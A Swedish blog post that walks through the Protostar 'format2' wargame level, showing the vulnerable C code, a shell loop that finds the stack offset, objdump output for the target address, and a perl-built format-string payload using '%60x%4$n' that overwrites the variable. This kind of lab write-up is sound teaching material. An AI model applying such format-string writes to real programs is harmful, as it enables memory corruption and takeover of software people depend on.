Format 2 och Protostar

Format2

Så då var det dags för format2 på protostar övningarna.

int target;

void vuln()
{
char buffer[512];

fgets(buffer, sizeof(buffer), stdin);
printf(buffer);

if(target == 64) {
printf(”you have modified the target :)\n”);
} else {
printf(”target is %d :(\n”, target);
}
}

Enligt koden så är den största skillnaden att nu finns det en buffert där man läser in via fgets
och sen printf buffern. Sen måste target vara 64. Så då ska vi skriva ett exakt värde i target.
Jaja vi påbörjar på samma sätt som innan

user@protostar:/opt/protostar/bin$ for i in {1..150} ; do echo ”AAAA%$i\$x” | ./format2 ; echo -n ”$i” ; done |grep 4141
3AAAA41414141
user@protostar:/opt/protostar/bin$

Fast samma sak som innan om man tittar nu så är det fel igen med räknaren. Fast nu åt andra hållet.
Nu ska det vara 4 istället för 3 😉

AAAA200
target is 0 :(
1AAAAb7fd8420
target is 0 :(
2AAAAbffff614
target is 0 :(
3AAAA41414141
Raden under visar vilken man är på. Så i detta fal är AAAA på 4’an.

Så då ska vi använda oss av plats 4’a för att skriva ut target och fylla på target med 64

objdump -t format2 |grep target
user@protostar:/opt/protostar/bin$ objdump -t format2|grep target
080496e4 g O .bss 00000004 target
user@protostar:/opt/protostar/bin$
Ok då vet vi att target finns på 080496e4

Så vi testar med
user@protostar:/opt/protostar/bin$ echo `perl -e ‘print ”\xe4\x96\x04\x08″ . ”%4\\$n”‘` | ./format2

target is 4 :(

Target är 4’a vilket är en början. Då ska vi bara slänga till 60x innan så blir det 64’a :)
user@protostar:/opt/protostar/bin$ echo `perl -e ‘print ”\xe4\x96\x04\x08″ . ”%60x%4\\$n”‘` | ./format2
200
you have modified the target :)
user@protostar:/opt/protostar/bin$
Så då har vi satt att target är 64’a och då exekveras
if(target == 64) {
printf(”you have modified the target :)\n”);

Så det var format2

Det här inlägget postades i Okategoriserade. Bokmärk permalänken.

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *


*

Följande HTML-taggar och attribut är tillåtna: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>